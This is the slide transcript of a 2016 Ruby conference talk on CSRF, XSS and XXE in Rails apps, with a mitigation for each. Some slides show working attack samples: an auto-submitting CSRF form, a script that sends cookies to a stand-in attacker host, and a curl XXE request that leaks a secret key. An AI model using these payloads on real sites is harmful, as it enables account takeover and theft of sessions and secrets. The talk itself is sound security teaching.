Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security is Broken: Understanding Common Vulner...

Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

Eileen M. Uchitelle

July 08, 2016
Tweet

More Decks by Eileen M. Uchitelle

Other Decks in Technology

Transcript

  1. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  2. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  3. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  4. vs.

  5. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  6. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  7. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  8. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  9. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  10. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email
  11. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  12. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“[email protected]” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  13. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="[email protected]" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  14. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end
  15. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback
  16. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  17. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?
  18. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  19. XSS

  20. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  21. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  22. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  23. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  24. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  25. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  26. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  27. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  28. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  29. XXE

  30. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  31. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference
  32. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  33. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  34. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  35. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  36. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  37. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  38. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes